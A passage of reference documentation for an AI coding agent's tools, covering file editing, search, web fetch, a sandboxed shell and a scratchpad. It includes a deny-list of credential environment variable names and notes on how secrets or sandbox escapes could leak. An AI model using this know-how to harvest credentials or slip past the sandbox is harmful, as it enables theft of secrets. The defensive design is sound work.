execute_commandrunningsed -i, a background task, or you in another window.write_fileand a successfuledit_fileboth re-record the file, so consecutive edits never trip it.A read served by the editor under ACP is checked against the editor, not the disk. Those are two different documents that share a path: the editor serves its own copy of every file it owns, saved or not, so comparing one to the other would fire every time you save a file nobody edited and stay silent when you rewrite the buffer the agent is about to edit. meka fingerprints what the editor served and compares it against what the editor serves when the edit arrives, which it fetches anyway. Editing the buffer, or the editor reloading a file something else rewrote, is reported:
Error: file 'src/main.rs' changed in the editor after you read it. Someone edited the buffer, or the editor reloaded the file. Read it again before editing so you are not overwriting that change, or set force=true to edit anyway.Saving does not trip it: the document is unchanged, only the bytes on disk moved.
-
If
old_stringis not found, the tool returns an error (without modifying the file). -
On success, the response includes a small ±3-line snippet (with line numbers, lines truncated at 200 chars) around the first edited site so you can confirm the change landed without re-reading the file.
write_file
Create or overwrite a file with the given content.
Permission: Workspace
Parameters
| Name | Type | Required | Description |
|---|---|---|---|
path | string | yes | The file path to write |
content | string | yes | The content to write to the file |
force | boolean | no | Overwrite a file that changed since it was read (default: false) |
scratchpad | string | no | Save output to the scratchpad under this name |
Behavior
- Creates parent directories if they do not exist.
- Overwrites the file if it already exists.
- Overwriting an existing file is subject to the same staleness check as
edit_file: if the file was read and has changed since, the write is refused with the message shown above andforceis the way past it. A whole-file rewrite is the more destructive of the two, so it is not the more permissive one. Creating a new file needs no prior read.
Search Tools
Both tools default to sweeping every workspace root: the
working directory, plus any extra folders an ACP client supplied. Passing path searches exactly
that tree instead.
find_files
Find files matching a glob pattern.
Permission: Read
Parameters
| Name | Type | Required | Description |
|---|---|---|---|
pattern | string | yes | Glob pattern to match files against |
path | string | no | Directory to search in. Omitted, every workspace root is walked |
limit | integer | no | Maximum results to return (defaults to 500 inline) |
scratchpad | string | no | Save output to the scratchpad under this name |
Behavior
- Results are limited to 500 matches inline;
limitraises the cap andscratchpadlifts it. - Returns one file path per line.
- The walk stops after 60 seconds. The result set is still returned, with a note saying it is incomplete, so a search rooted too high in the tree costs a minute rather than hanging the turn.
- Interrupting the turn (Ctrl+C, or
session/cancelfrom an editor) stops the walk. - Paths that cannot be read are skipped and counted; the total is reported once at the end rather than logged per path.
Glob Patterns
| Pattern | Matches |
|---|---|
*.rs | All .rs files in the current directory |
**/*.rs | All .rs files recursively |
src/*.txt | All .txt files in src/ |
test_* | All files starting with test_ |
search_contents
Search file contents using a regex pattern. Powered by the ripgrep library.
Permission: Read
Parameters
| Name | Type | Required | Description |
|---|---|---|---|
pattern | string | yes | Regex pattern to search for |
path | string | no | File or directory to search in. Omitted, every workspace root is walked |
glob | string | no | Glob pattern to filter which files are searched (e.g., *.rs) |
scratchpad | string | no | Save output to the scratchpad under this name |
Behavior
- Searches recursively through directories.
- Skips hidden files (starting with
.) and common non-text directories (target,node_modules). .gitignoreis not honoured. Only the matcher comes from ripgrep; the walk is meka’s own, and those three exclusions are all of it. A build directory that is ignored but not named above is searched, so passgloborpathto stay out of one.- Results are limited to 100 matches;
scratchpadlifts the cap. The search stops once the cap is exceeded instead of reading the rest of the tree to fill a result set it will truncate anyway. - The search stops after 60 seconds, returning what it found with a note saying it is incomplete.
- Interrupting the turn (Ctrl+C, or
session/cancelfrom an editor) stops the search. - Each result includes the file path, line number, and matching line.
Web Tools
fetch_url
Fetch a web page and return its content as markdown text.
Permission: Read
Parameters
| Name | Type | Required | Description |
|---|---|---|---|
url | string | yes | The URL to fetch |
max_length | integer | no | Maximum characters to return (default: 30000, 0 for no limit) |
headers | object | no | Custom HTTP headers (overrides defaults like User-Agent) |
regex | string | no | If provided, return only matching content (matches joined by newlines) |
raw | boolean | no | Return raw HTML instead of converting to markdown (default: false) |
scratchpad | string | no | Save output to the scratchpad under this name |
Behavior
- Fetches the page via HTTP GET.
- Converts HTML to Markdown using
fast_html2md(unlessrawis true).<nav>and<footer>containers are preserved (rewritten to<div>before conversion) so their links survive;fast_html2mdwould otherwise drop those subtrees as boilerplate.<script>/<style>/<head>are still stripped. - Resolves root-relative links against the page’s final (post-redirect) URL, so a
/docshref renders as the absolutehttps://host/docsthe model can follow directly. - Truncates the output to
max_lengthcharacters (default: 30,000). Whenregexis given, the pattern runs against the whole document before this cap, somax_lengthnever decides which matches exist; the cap then applies to the joined match list. - HTTP timeout: 30 seconds.
- Reads at most 10 MiB of decompressed body, checked while streaming so a small compressed payload cannot expand past it.
- Returns the HTTP status code as an error if the request fails (e.g., 404, 500).
Image URLs
If the response Content-Type is a supported raster image format, fetch_url returns a multimodal Image content block instead of markdown. No disk is touched; bytes are base64-encoded in memory.
Provider-native formats (passed through unchanged):
image/png,image/jpeg(andimage/jpg),image/gif,image/webp,image/bmp(andimage/x-ms-bmp)
Convertible formats (decoded and re-encoded as PNG transparently):
image/tiff,image/vnd.microsoft.icon/image/x-icon,image/vnd.radiance(HDR),image/x-exr,image/x-targa,image/x-portable-*(PNM),image/qoi,image/vnd.ms-dds,image/x-farbfeld
Unsupported formats (fall through to the text branch): image/svg+xml, image/jxl, image/heic, image/avif.
- The
max_length,regex, andrawoptions do not apply to image responses. - Size cap of ~3.75 MB applies to the output bytes (after conversion). Conversion can enlarge an image, so a 1 MB TIFF may produce a larger PNG.
- Detection uses the response’s actual
Content-Typeheader, so redirect chains and extension-less URLs are handled correctly.
Only fetch image URLs when the current model supports vision input; text-only models will either error or silently drop the image block.
search_web
Search DuckDuckGo and return the top results.
Permission: Read
Parameters
| Name | Type | Required | Description |
|---|---|---|---|
query | string | yes | The search query |
headers | object | no | Custom HTTP headers (overrides defaults like User-Agent) |
scratchpad | string | no | Save output to the scratchpad under this name |
Behavior
- Returns up to 10 results per search.
- Each result includes the title, source domain, URL, and a snippet with matched terms emphasised in bold.
- Snippets are capped at 300 characters; use
fetch_urlon the result URL for the full page. - Uses HTML scraping (no API key required).
- HTTP timeout: 30 seconds, and the same 10 MiB streamed body cap as
fetch_url. - A non-2xx response is an error rather than an empty result set. A block or rate-limit page still carries HTML, and parsing it found no result rows, so being turned away used to read as “No search results found.” – a statement about the query rather than about the request.
CAPTCHA detection
DuckDuckGo occasionally serves a bot-challenge page instead of results (detected by the anomaly-modal element). search_web returns a distinct error so the agent doesn’t silently retry:
DuckDuckGo served a CAPTCHA challenge (bot detection / rate limit).
Retry later.
If this happens often in your environment, configure a search-capable MCP server; see the MCP configuration examples for patterns that work well.
Shell Tool
execute_command
Execute a shell command and return its output.
Permission: read (sandboxed read-only) / workspace (sandboxed, writable inside the workspace roots) / ask and unrestricted (unsandboxed)
Parameters
| Name | Type | Required | Description |
|---|---|---|---|
command | string | yes | The shell command to execute |
timeout_ms | integer | no | Timeout in milliseconds (default: 30000) |
scratchpad | string | no | Save output to the scratchpad under this name |
Behavior
- Executes the command via
sh -c "<command>"on Unix, orpowershell.exe -NoProfile -NonInteractive -Command "<command>"on Windows (same shell in both sandboxed and unsandboxed mode). - Captures both stdout and stderr.
- Returns the exit code along with the output if non-zero.
- Oversized output is losslessly persisted to the scratchpad by the agent layer; the tool does not truncate what it returns to the agent, up to the residency ceiling below.
- There is no cap on how much a command may print, but there is a cap on how much of it meka holds in memory. Past 8 MiB on one stream the bytes are written to a file in the cache directory instead, and the tool result carries the first and last 32 KiB plus that file’s path, so the whole capture stays reachable with
read_file. This exists because a command that writes faster than the turn ends (cat /dev/zero, a runaway build log) previously grew one buffer until the process died. - Default timeout is 30 seconds. If the command exceeds the timeout, it is killed (on Unix, via the process group so backgrounded grandchildren are caught too).
- Supports cancellation: pressing Ctrl+C while a command is running kills the child process.
Shell-specific semantics
- Unix (
sh -c): POSIX$VARexpansion applies. Pass a literal$with single quotes ('$foo') or backslash escape (\$foo). - Windows (
powershell.exe -Command): The script body reaches PowerShell directly. Use PowerShell syntax ($var = ...,$env:PATH), and crucially, do not wrap your command in anotherpowershell -Command "...". The outer PowerShell will expand your inner$varreferences to empty strings before the inner shell runs, producing a parser error on mangled syntax. If you need to invoke a nested script, drop it into a.ps1file and run it by path, use-EncodedCommand <base64>, or escape each$as`$.
Read-Only Sandbox
In read mode, commands run inside a sandbox that blocks writes to the user’s real data. Reads, program execution, and network access still work normally: the threat model is “no state mutation, but curl http://x | pdftotext must keep working.”
What’s blocked vs allowed (across all backends)
| Surface | Blocked | Allowed |
|---|---|---|
| Filesystem writes outside tmp / Low-integrity paths | ✓ | |
| Filesystem reads | ✓ | |
| Program execution | ✓ | |
| Outbound network (TCP/UDP) | ✓ | |
| dbus / systemd-user state mutations | Bubblewrap / macOS / Landlock on kernel 7.1+ | Landlock below kernel 7.1 / Windows |
| Mach IPC state mutation (launchd, pasteboard, LaunchServices) | macOS | Linux / Windows |
| COM / RPC to Low-integrity-accepting services (Windows) | ✓ | |
| Inheritance of sensitive parent env vars (API keys, OAuth tokens, …) | ✓ (all platforms) |
The sandbox is not an adversarial containment boundary; it’s defense-in-depth against an agent accidentally modifying user data. Set permission to none if you don’t trust a turn at all.
Scratch space: one place the backends genuinely differ
A confined command may or may not get a writable temporary directory, and this is the one difference between backends big enough to change which commands work:
| Backend | Scratch space | Effect |
|---|---|---|
Bubblewrap (read) | Private /tmp tmpfs | mktemp, git, python, gpg, pip all work |
Landlock (read) | None | Anything that writes a temp file is denied |
Windows workspace | None outside the roots | New-TemporaryFile is denied (measured) |
macOS Seatbelt (read) | Per-backend; see below |
Under Bubblewrap the child gets a private writable /tmp, so mktemp succeeds and the write goes nowhere real. Under Landlock there is no such directory and the write is simply denied, which takes git’s index lock, Python’s tempfile, gpg and pip with it. The same is true of workspace on Windows outside the granted roots.
This divergence is deliberate. Granting a scratch directory under Landlock would weaken what read promises on the backend that currently keeps that promise strictly, so the narrower behaviour stays.
The practical cost is diagnostic: the model sees a bare Permission denied naming a path in /tmp (or %TEMP%), with nothing in the message connecting it to the sandbox, and cannot act on it. If a command fails that way and you expected it to work, install bwrap for Landlock hosts, or add the directory it wants as a writable root at workspace.
Environment variable scrubbing
Read-mode sandboxes still permit outbound network (the threat model intentionally keeps curl http://x | pdftotext-style pipelines working), so any secret in the parent process’s environment (ANTHROPIC_API_KEY, AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, OAuth tokens, etc.) would be a live exfiltration vector under prompt injection. meka scrubs the child environment at spawn time across every backend (Bubblewrap, Landlock, Seatbelt, Windows Low-integrity).
-
Unix (Linux + macOS): allow-list. Only a curated set of vars survives into the read-mode child:
PATH,HOME,USER,LOGNAME,SHELL,PWD,TERM,COLORTERM,LANG,TMPDIR,TMP,TEMP, plus everything matching theLC_*andXDG_*prefixes. Because read mode intentionally keeps outbound network working, the proxy and CA-bundle vars survive too:HTTP_PROXY,HTTPS_PROXY,NO_PROXY,ALL_PROXY(and their lowercase spellings),SSL_CERT_FILE,SSL_CERT_DIR,REQUESTS_CA_BUNDLE,CURL_CA_BUNDLEandNODE_EXTRA_CA_CERTS– several of which redirect TLS trust, so treat them as part of the boundary. Anything else is dropped, including credential-shaped vars (AWS_*,GITHUB_TOKEN,OPENAI_API_KEY, …) and credential-pointer vars (SSH_AUTH_SOCK,KUBECONFIG,GNUPGHOME,NETRC,GIT_ASKPASS,GIT_SSH_COMMAND, etc.) as well as benign-but-unlisted vars likeEDITOR,PAGER,DISPLAY, custom toolchain vars, and so on. Unknown vars are dropped by default. -
Windows: deny-list. PowerShell pulls in a long tail of system vars (
PSModulePath,APPDATA,ProgramFiles, etc.) that don’t fit a tidy allow-list, so the Windows path lets everything through except names that match a heuristic deny-list. Dropped names include:- Credential-shaped substrings:
*TOKEN*,*SECRET*,*PASSWORD*,*PASSPHRASE*,*API_KEY*,*_KEY*,*BEARER*,*CREDENTIAL*, etc. - Credential-pointer substrings:
SSH_AUTH_SOCK,KUBECONFIG,GNUPGHOME,NETRC,GIT_ASKPASS,SSH_ASKPASS,GIT_SSH_COMMAND. - Provider / service prefixes:
ANTHROPIC_*,OPENAI_*,AWS_*,GCP_*,GOOGLE_*,AZURE_*,GITHUB_*,OPENROUTER_*,GROQ_*,MISTRAL_*,COHERE_*,DATABASE_*,POSTGRES_*,MONGO_*,STRIPE_*,CLOUDFLARE_*,VAULT_*,OAUTH_*,JWT_*,SENTRY_*,SLACK_*,DISCORD_*, and others; seeis_sensitive_env_nameinsrc/sandbox.rsfor the full list.
The deny-list is intentionally aggressive on false positives (a legitimate
GITHUB_ACTORis dropped alongsideGITHUB_TOKEN) because the cost of a missing env var is a confusing tool error, while the cost of a leaked credential is a live exfiltration channel. - Credential-shaped substrings:
ask and unrestricted keep the full parent environment. These are the trusted-operation paths where users legitimately need NPM_TOKEN for npm publish, AWS_* creds for aws s3 cp, GH_TOKEN for gh pr create, etc. If you need a specific var inside a sandboxed shell command, switch to one of them for that turn.
For ask specifically this is worth stating outright, because the approval prompt shows you a command and not its environment: an approved npm test whose postinstall script reads process.env sees ANTHROPIC_API_KEY and every other secret in meka’s environment, on a sandbox that deliberately leaves the network open. That is the same reach an approved write_file has, which is the point of the level – the prompt is what you are trusting, not a scrub behind it. If you want the scrub, workspace keeps it and confines writes to the workspace roots.
Linux: pick a backend
Linux supports two backends, selected via [shell].sandbox_backend in config.toml:
- Bubblewrap (
sandbox_backend = "bubblewrap", recommended): wraps the command inbwrapwith--ro-bind /, tmpfs masks over/run,/tmp,/var/tmp, and$XDG_RUNTIME_DIR, plus--unshare-user --unshare-pid --unshare-uts --unshare-ipc. The tmpfs masks make the dbus session bus, systemd-user socket, and other socket-on-disk IPC paths unreachable, sosystemctl --user start <unit>,dbus-send, and similar state-changing calls fail. Network is not unshared. Requires thebubblewrappackage and a kernel with user-namespace creation enabled. - Landlock (
sandbox_backend = "landlock", legacy / fallback): uses the Landlock LSM. Blocks filesystem writes vialandlock_restrict_self. Requires ABI v3 (kernel 6.2+): below that the kernel does not mediatetruncate(2), so a sandboxed command could still empty an existing file despite every open-for-write being denied. meka reports Landlock unusable on those kernels rather than sandboxing with a ruleset that does not enforce what read mode promises, which means kernels 5.13–6.1 need Bubblewrap installed for read-mode shell. On kernel 7.1+ (ABI v9) Landlock also blocksconnect()to every Unix socket on disk, which closes the dbus / systemd-user route out of the sandbox but likewise breaks socket-based clients such asdockerandpsqlin read mode. Between ABI v3 and v9 that right does not exist, so a sandboxed shell can invoke state-mutating dbus methods andsystemd-run --userescapes the filesystem restriction entirely; meka warns at startup naming exactly which mitigations the running ABI lacks. Prefer Bubblewrap, which removes those sockets on any kernel.
sandbox_backend is unset unless you pin it yourself; meka provider add does not write it. When unset, meka probes Bubblewrap once at startup and prefers it when available, falling back to Landlock with a one-shot warning that points at the install path and the suppress-this-warning escape hatch.
[shell]
sandbox = true # default; set to false to disable
sandbox_backend = "bubblewrap" # or "landlock"; unset = auto-detect
macOS and Windows
- macOS: Uses
sandbox-execwith a hardened SBPL profile (modeled after Codex’s vendored seatbelt policy, which is itself based on Chrome’s renderer sandbox). The profile is closed-by-default: filesystem writes are blocked, Mach-lookup is restricted to a curated allow-list of safe services, and mutation paths (launchd job control, pasteboard, LaunchServices, distributed notifications) are not in the allow-list. Network and DNS resolution remain available. Thesandbox_backendconfig key is ignored. - Windows: Spawns the child with a duplicated primary token dropped to Low integrity (
SECURITY_MANDATORY_LOW_RID) viaSetTokenInformation(TokenIntegrityLevel, …). Writes to the home directory,%APPDATA%, Program Files, and system directories (any location with Medium-or-higher integrity ACLs) are blocked by the kernel. Low integrity also strips token privileges, and the same env scrubbing applied on Unix runs here (see Environment variable scrubbing above). Thesandbox_backendconfig key is ignored.
Low integrity is not a total write-denial: the child can still write to the small residual Low-integrity-writable surface (%LOCALAPPDATA%\Low, %TEMP%\Low, any path with an explicit Low-integrity write ACE) and to files it creates itself.
Windows at workspace
workspace uses a second mechanism, not the Low-integrity token above. meka derives a capability
SID from each workspace root, places an inheritable GENERIC_WRITE | DELETE ACE for it on that
root, and runs the shell under a WRITE_RESTRICTED token carrying that capability, so a write
succeeds exactly where one of those ACEs exists. Three consequences worth knowing before you use it:
- meka has to own the root, which is what lets it grant without elevation. A network share or another user’s folder cannot be a workspace root.
- PowerShell runs in ConstrainedLanguage mode under a restricted token, so scripts that
construct .NET types fail there while working at
unrestricted. meka’s UTF-8 output preamble is skipped for the same reason, so non-ASCII output may be mangled atworkspace. - The ACE is real, standing state on your directory, visible in
icacls. It is released when the process exits, Ctrl+C included, but not after a crash or a kill.
See Permissions for the full account.
When the configured backend is unavailable
If sandbox_backend = "bubblewrap" is set but bwrap isn’t on $PATH (or user namespaces are denied), execute_command in read mode returns a hard error rather than silently falling back. The error names the configured backend and the specific failure reason. Either install bubblewrap, set sandbox_backend = "landlock", or switch to unrestricted (Shift+Tab).
Disabling the sandbox entirely
To disable sandboxed shell execution altogether, set sandbox = false under [shell]. When disabled, shell commands require ask or unrestricted: read loses the tool entirely, and workspace refuses it with an error naming the key, because there is no longer anything to hold the boundary that mode promises. Reach for unrestricted on those turns rather than expecting workspace to quietly run unconfined.
[shell]
sandbox = false
Scratchpad
The scratchpad is a session-scoped working memory that the agent can use to store, retrieve, edit, and manage content without consuming conversation context. Entries are identified by string names and persist across turns within a session.
When the Scratchpad is Used
- Proactively: The agent stores intermediate results (extracted text, API responses, research notes) for later use.
- Via
scratchpadparameter: any tool call carrying one has its output saved there instead of returned inline. See Scratchpad Parameter for which tools advertise it. - Automatically: when a tool’s output exceeds 30,000 bytes, it is saved under a generated name (e.g.
execute_command_a1b2c3_1) and replaced with a preview.
Tools
The whole family ships default-active; no load_tool round-trip is required to use any of them.
scratchpad_write
Store content in the scratchpad. If the name already exists, the content is overwritten.
Permission: Read
| Name | Type | Required | Description |
|---|---|---|---|
name | string | yes | Name for the entry |
content | string | yes | The content to store |
scratchpad_read
Read or search a scratchpad entry by name.
Permission: Read
| Name | Type | Required | Description |
|---|---|---|---|
name | string | yes | The entry name |
offset | integer | no | Character offset to start reading from (default: 0) |
limit | integer | no | Maximum characters to return; no hard cap. Pass the entry’s size to load all content in one call. (Default and exact value are advertised in the tool’s parameter schema.) |
regex | string | no | Search the entry and return matching lines (capped, exact value advertised in the tool’s parameter schema). |
scratchpad_edit
Edit a scratchpad entry in place. Provide content for a full overwrite, or old_string/new_string for targeted replacement.
Permission: Read
| Name | Type | Required | Description |
|---|---|---|---|
name | string | yes | The entry name |
content | string | no | Full replacement (mutually exclusive with old/new) |
old_string | string | no | String to find |
new_string | string | no | Replacement string |
replace_all | boolean | no | Replace all occurrences (default: false) |
scratchpad_list
List all scratchpad entries with their name, size, and creation time. No parameters.
Permission: Read
scratchpad_delete
Delete a scratchpad entry by name.
Permission: Read
| Name | Type | Required | Description |
|---|---|---|---|
name | string | yes | The entry name to delete |
scratchpad_merge
Combine several entries into one without routing the bytes through the conversation. Useful for collecting parallel sub-agent reports. A sub-agent cannot merge into a name it inherited read-only from its parent, though it may read such a name as a source.
Permission: Read
| Name | Type | Required | Description |
|---|---|---|---|
sources | array of string | yes | Entry names to combine, in order |
target | string | yes | Name to store the result under; overwrites if it exists |
format | string | no | concat_with_headers (default, prepends --- name ---), concat, or json_array |
scratchpad_rename
Rename an entry without round-tripping its content through the conversation. Errors if old does
not exist, if new already exists, or, for a sub-agent, if either name is inherited read-only.
Permission: Read
| Name | Type | Required | Description |
|---|---|---|---|
old | string | yes | Current entry name |
new | string | yes | Replacement entry name |
scratchpad_load_file
Read a file’s contents into a scratchpad entry without the bytes passing through the conversation.
The model never sees the payload, which is what makes this the way to stage a large log or document
for inherit_scratchpad. UTF-8 text only; a binary file is refused with its detected MIME type.
Overwrites an existing entry of the same name, and a sub-agent cannot load into a name it inherited
read-only from its parent.
Permission: Read
| Name | Type | Required | Description |
|---|---|---|---|
path | string | yes | The file path to read |
name | string | yes | Name to store the contents under |
scratchpad_save_file
Write a scratchpad entry out to a file, again without routing the bytes through the conversation. A sub-agent can save an entry it inherited, so a worker’s report reaches disk without being copied through the model.
Permission: Workspace
This is the one scratchpad tool that leaves meka’s own storage, so it is the one that requires a
level that can write. It reads as the scratchpad’s write_file and is fenced identically: at
workspace the path must resolve inside a workspace root, and the refusal is the same one
write_file gives. Every other scratchpad tool stays at read because the scratchpad lives in
meka’s database, not your tree.
| Name | Type | Required | Description |
|---|---|---|---|
name | string | yes | The scratchpad entry to read from |
path | string | yes | The file path to write to |
force | boolean | no | Replace the file if it already exists; without it, saving over an existing file is refused |
Handing entries to a sub-agent
agent_spawn’s inherit_scratchpad takes a list of the parent’s entry names and grants the
sub-agent read-only access to exactly those:
agent_spawn(prompt: "summarise the failures", inherit_scratchpad: ["build_log"])
The sub-agent’s scratchpad_read falls back to the parent for an inherited name, and its
scratchpad_list shows the entry with origin inherited. scratchpad_write, scratchpad_edit and
scratchpad_delete targeting one return an error, so a worker cannot rewrite what it was lent.
This is how a large captured output reaches a sub-agent without being re-inlined into the prompt.
When you expect to delegate a result later, name it at the source with the scratchpad parameter
(execute_command({command: "...", scratchpad: "build_log"})) so there is a semantic name to pass
through.
Lifecycle
- Entries are scoped to the session and persist across turns.
- Entries survive session compaction (
/compact). - Entries are deleted when the session is deleted.
- Two sessions can have entries with the same name without conflict.
- Writing to an existing name overwrites it silently.